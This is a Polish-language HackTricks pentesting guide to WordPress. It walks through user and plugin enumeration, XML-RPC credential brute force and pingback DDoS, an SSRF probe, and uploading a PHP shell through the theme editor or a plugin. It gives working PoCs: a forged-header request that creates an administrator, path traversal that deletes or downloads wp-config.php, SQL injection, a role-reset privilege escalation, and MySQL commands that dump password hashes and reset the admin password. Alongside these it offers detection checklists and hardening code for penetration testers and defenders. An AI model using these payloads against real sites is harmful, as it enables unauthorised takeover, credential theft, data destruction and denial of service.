Wordpress
Reading time: 24 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Basic Information
-
Uploaded pliki trafiają do:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Pliki motywów znajdują się w /wp-content/themes/, więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: używając theme twentytwelve możesz uzyskać dostęp do pliku 404.php w: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
W wp-config.php możesz znaleźć hasło roota bazy danych.
-
Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.wp-activate.php
jest używany w procesie aktywacji przez e-mail podczas zakładania nowej witryny WordPress.- Foldery logowania (mogą być przemianowane, aby je ukryć):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych przy użyciu HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten sposób komunikacji został zastąpiony przez WordPress REST API.- Folder
wp-content
jest głównym katalogiem, w którym przechowywane są wtyczki i motywy. wp-content/uploads/
to katalog, w którym przechowywane są wszystkie pliki przesłane do platformy.wp-includes/
to katalog, w którym znajdują się pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.wp-sitemap.xml
W wersjach WordPress 5.5 i nowszych, WordPress generuje plik mapy witryny XML zawierający wszystkie publiczne wpisy oraz publicznie zapytalne typy wpisów i taksonomie.
Post exploitation
- Plik
wp-config.php
zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salta oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
Uprawnienia użytkowników
- Administrator
- Editor: Publikuje i zarządza swoimi oraz cudzymi wpisami
- Author: Publikuje i zarządza własnymi wpisami
- Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- Subscriber: Przegląda wpisy i edytuje swój profil
Passive Enumeration
Sprawdzenie wersji WordPressa
Sprawdź, czy możesz znaleźć pliki /license.txt
lub /readme.html
W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Pliki linków CSS
- Pliki JavaScript
Pobierz wtyczki
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Pobierz motywy
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Wyodrębnianie wersji — ogólnie
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktywna enumeracja
Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć wszystkie, będziesz musiał aktywnie Brute Force listę wtyczek i motywów (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
Użytkownicy
- ID Brute: Otrzymujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi mają status 200 lub 30X, oznacza to, że id jest prawidłowe. Jeśli odpowiedź to 400, wtedy id jest nieprawidłowe.
- wp-json: Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
curl http://blog.example.com/wp-json/wp/v2/users
Inny endpoint /wp-json/
, który może ujawnić pewne informacje o użytkownikach, to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.
Zauważ także, że /wp-json/wp/v2/pages może prowadzić do leak adresów IP.
- Login username enumeration: Podczas logowania się przez
/wp-login.php
komunikat (message) jest inny w zależności od tego, czy wskazany username istnieje, czy nie.
XML-RPC
Jeśli xml-rpc.php
jest aktywne, możesz wykonać credentials brute-force lub użyć go do uruchamiania DoS ataków na inne zasoby. (Możesz zautomatyzować ten proces using this na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij takie żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
lub metaWeblog.getUsersBlogs
są niektórymi metodami, które można wykorzystać do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Komunikat "Incorrect username or password" w odpowiedzi z kodem 200 powinien pojawić się, jeśli poświadczenia nie są poprawne.
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Omijanie 2FA
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Więc jeśli masz ważne creds, ale główne logowanie jest chronione 2FA, możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji, które możesz wykonać przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress przeprowadzić skanowanie jakiejś wewnętrznej sieci (możesz wskazać dowolny port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.
Zobacz użycie system.multicall
w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu głównym strony WordPress: /wp-cron.php
Po uzyskaniu dostępu do tego pliku wykonywane jest "ciężkie" zapytanie MySQL (query), więc może być użyty przez atakujących do spowodowania DoS.
Ponadto, domyślnie wp-cron.php
jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net a strona Worpress może wykonać żądanie do Ciebie.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, i jeśli tak, próbuje je wykorzystać.
Automatyczne narzędzia
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Uzyskaj dostęp przez nadpisanie jednego bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było przełączyć 1 bit w dowolnym pliku wordpress. Można było więc zmienić bit na pozycji 5389
w pliku /var/www/html/wp-includes/user.php
, aby zamienić operację NOT (!
) na NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php w używanym motywie (wymagane dane logowania administratora)
Appearance → Theme Editor → 404 Template (at the right)
Zmień zawartość na php shell:
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
aby uzyskać sesję.
Plugin RCE
PHP plugin
Może być możliwe przesłanie plików .php jako plugin.
Utwórz swój php backdoor na przykład używając:
Następnie dodaj nowy plugin:
Wgraj plugin i naciśnij Install Now:
Kliknij na Procced:
Prawdopodobnie nic się pozornie nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
Otwórz go — zobaczysz URL do wykonania reverse shell:
Wgrywanie i aktywacja złośliwego pluginu
Ta metoda polega na instalacji złośliwego pluginu znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces przebiega przez WordPress dashboard w następujący sposób:
- Plugin Acquisition: Plugin jest pobierany ze źródła takiego jak Exploit DB, np. here.
- Plugin Installation:
- Przejdź do WordPress dashboard, następnie do
Dashboard > Plugins > Upload Plugin
. - Wgraj plik zip pobranego pluginu.
- Plugin Activation: Po pomyślnej instalacji plugin musi zostać aktywowany z poziomu dashboardu.
- Exploitation:
- Ze zainstalowanym i aktywowanym pluginem "reflex-gallery" można go wykorzystać, ponieważ jest znany z podatności.
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do serwisu.
- Należy pamiętać, że to tylko jedna z wielu metod wykorzystania WordPressa.
Treść zawiera ilustracje pokazujące kroki w WordPress dashboard podczas instalacji i aktywacji pluginu. Jednak ważne jest, aby pamiętać, że wykorzystywanie luk w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
Z XSS do RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Creates an user in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
- (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.
Post Exploitation
Wyodrębnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień hasło administratora:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Wtyczki Pentest
Powierzchnia ataku
Znajomość sposobów, w jaki wtyczka Wordpress może ujawnić funkcjonalność, jest kluczowa do znalezienia luk w tej funkcjonalności. Możesz znaleźć, w jaki sposób wtyczka może ujawniać funkcjonalność, w poniższych punktach oraz kilka przykładów podatnych wtyczek w this blog post.
wp_ajax
Jednym ze sposobów, w jaki wtyczka może udostępnić funkcje użytkownikom, są handlery AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, który każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać (niezależnie od roli).
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Użycie nopriv
sprawia, że endpoint jest dostępny dla dowolnych użytkowników (nawet niezalogowanych).
caution
Ponadto, jeżeli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji wp_verify_nonce
, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany — zazwyczaj nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji o wysokich uprawnieniach.
- REST API
It's also possible to expose functions from wordpress registering a rest AP using the register_rest_route
function:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
Jeżeli użyta zostanie wbudowana funkcja __return_true
, po prostu pominie ona sprawdzenie uprawnień użytkownika.
- Bezpośredni dostęp do pliku php
Oczywiście Wordpress używa PHP, a pliki w ramach pluginów są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty „trusted header” dla integracji wewnętrznych lub reverse proxy, a następnie używają tego nagłówka do ustawienia kontekstu aktualnego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
- Skutek: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego konta administratora za pomocą podstawowej trasy REST users.
- Przykładowy nagłówek:
X-Wcpay-Platform-Checkout-User: 1
(wymusza ID użytkownika 1, zwykle pierwsze konto administratora). - Wykorzystywana trasa:
POST /wp-json/wp/v2/users
z tablicą zawierającą rolę o podwyższonych uprawnieniach.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Dlaczego to działa
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
- Rdzeń WordPress oczekuje uprawnienia
create_users
dla tej ścieżki; wtyczka omija to poprzez bezpośrednie ustawienie kontekstu bieżącego użytkownika z nagłówka.
Oczekiwane wskaźniki sukcesu
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowe konto administratora widoczne w
wp-admin/users.php
.
Lista kontrolna wykrywania
- Przeszukaj (grep)
getallheaders()
,$_SERVER['HTTP_...']
, lub vendor SDKs które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np.wp_set_current_user()
,wp_set_auth_cookie()
). - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń
permission_callback
i zamiast tego polegają na nagłówkach żądania. - Szukaj użyć funkcji zarządzania użytkownikami rdzenia (
wp_insert_user
,wp_create_user
) wewnątrz handlerów REST, które są zabezpieczone jedynie wartościami nagłówków.
Wzmocnienie
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
- Jeśli reverse proxy musi wstrzyknąć tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np.
unset X-Wcpay-Platform-Checkout-User
na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. - Dla REST routes wykonujących uprzywilejowane akcje wymagaj sprawdzeń
current_user_can()
i rygorystycznegopermission_callback
(NIE używaj__return_true
). - Preferuj autentykację pierwszej strony (cookies, application passwords, OAuth) zamiast nagłówkowego „podszywania się”.
Referencje: zobacz linki na końcu tej strony dotyczące publicznego przypadku i szerszej analizy.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- Unauthenticated access – the
wp_ajax_nopriv_
hook is registered. - No nonce / capability check – any visitor can hit the endpoint.
- No path sanitisation – the user–controlled
fontfamily
string is concatenated to a filesystem path without filtering, allowing classic../../
traversal.
Wykorzystanie
Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (normally <wp-root>/wp-content/uploads/
) by sending a single HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Ponieważ wp-config.php
znajduje się poza uploads, cztery sekwencje ../
wystarczą na domyślnej instalacji. Usunięcie wp-config.php
zmusza WordPress do uruchomienia kreatora instalacji przy następnej wizycie, umożliwiając całkowite przejęcie strony (atakujący jedynie dostarcza nową konfigurację bazy danych i tworzy konto administratora).
Inne istotne cele to pliki .php
wtyczek/motywów (aby uszkodzić wtyczki zabezpieczające) lub reguły .htaccess
.
Lista kontrolna wykrywania
- Każdy callback
add_action( 'wp_ajax_nopriv_...')
który wywołuje helpery systemu plików (copy()
,unlink()
,$wp_filesystem->delete()
, itd.). - Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżkach (szukaj
$_POST
,$_GET
,$_REQUEST
). - Brak
check_ajax_referer()
orazcurrent_user_can()
/is_user_logged_in()
.
Wzmocnienie
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Zawsze traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowej zmiany roli, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. $_REQUEST['reset-for']
) i liście utrzymywanej przez wtyczkę bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź reset przywracała role na podstawie reset-for=<username>
jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy $options['viewing_admin_as_role_are']
, ale nie wykonywała ani sprawdzenia current_user_can()
ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Dlaczego to jest podatne na atak
- Polega na zaufaniu do
$_REQUEST['reset-for']
i opcji pluginu bez autoryzacji po stronie serwera. - Jeśli użytkownik miał wcześniej wyższe uprawnienia zapisane w
_asenha_view_admin_as_original_roles
i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu. - W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł spowodować reset dla innej nazwy użytkownika nadal obecnej w
viewing_admin_as_role_are
(błędna autoryzacja).
Wymagania wstępne ataku
- Wrażliwa wersja pluginu z włączoną funkcją.
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
- Dowolna uwierzytelniona sesja; brak nonce/capability w przebiegu resetu.
Wykorzystanie (przykład)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Na podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane „oryginalne role” (np. administrator
), skutecznie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które przechowują „oryginalne role” w meta użytkownika (np.
_asenha_view_admin_as_original_roles
). - Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z
$_REQUEST
/$_GET
/$_POST
. - Modyfikują role za pomocą
add_role()
/remove_role()
bezcurrent_user_can()
iwp_verify_nonce()
/check_admin_referer()
. - Autoryzują na podstawie tablicy opcji pluginu (np.
viewing_admin_as_role_are
) zamiast na podstawie uprawnień aktora.
Hardening
- Wymuś sprawdzenia uprawnień przy każdym odgałęzieniu zmieniającym stan (np.
current_user_can('manage_options')
lub bardziej restrykcyjne). - Wymagaj nonces dla wszystkich zmian ról/uprawnień i weryfikuj je:
check_admin_referer()
/wp_verify_nonce()
. - Nigdy nie ufaj nazwom użytkowników dostarczanym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i jawnej polityki.
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/ról, aby uniknąć przywrócenia przestarzałych uprzywilejowań:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Rozważ przechowywanie minimalnego stanu i używanie ograniczonych czasowo, zabezpieczonych uprawnieniami tokenów do tymczasowych przełączeń ról.
Uwagi dotyczące WAF dla WordPress/plugin CVEs
Ogólne WAFy edge/server są dostrojone do wykrywania szerokich wzorców (SQLi, XSS, LFI). Wiele podatności o dużym wpływie w WordPress/plugin to błędy logiki lub autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie ścieżek WordPress i semantyki pluginów.
Offensive notes
- Celuj w endpointy specyficzne dla pluginów, używając czystych payloadów:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Najpierw sprawdź ścieżki nieautoryzowane (AJAX
nopriv
, REST z permisywnympermission_callback
, public shortcodes). Domyślne payloady często działają bez obfuskacji. - Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić przed plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, albo szybko aktualizuj.
- Preferuj kontrole positive-security w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
Ochrona WordPress
Regularne aktualizacje
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.
Wtyczki bezpieczeństwa
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj silnych haseł i 2FA
- Okresowo przeglądaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
- Zmień nazwę pliku
wp-admin.php
i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie savecategory, które ostatecznie wykonuje następujący podatny kod w modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemy wprowadzone przez ten fragment:
- Nieprzefiltrowane dane wejściowe –
parentid
pochodzi bezpośrednio z żądania HTTP. - Konkatenacja łańcuchów w klauzuli WHERE – brak
is_numeric()
/esc_sql()
/ prepared statement. - Możliwość wywołania bez uwierzytelnienia – chociaż akcja jest wykonywana przez
admin-post.php
, jedyną weryfikacją jest CSRF nonce (wp_verify_nonce()
), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode[wpjobportal_my_resumes]
.
Eksploatacja
- Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Wstrzyknij dowolne SQL przez nadużycie
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Kolejne zadanie, downloadcustomfile, pozwalało odwiedzającym pobrać dowolny plik z dysku poprzez path traversal. Wrażliwy sink znajduje się w modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
jest kontrolowany przez atakującego i konkatenowany bez sanitacji. Ponownie, jedyną barierą jest CSRF nonce, który można pobrać ze strony z CV.
Eksploatacja
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Serwer zwraca zawartość wp-config.php
, leaking DB credentials and auth keys.
Referencje
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
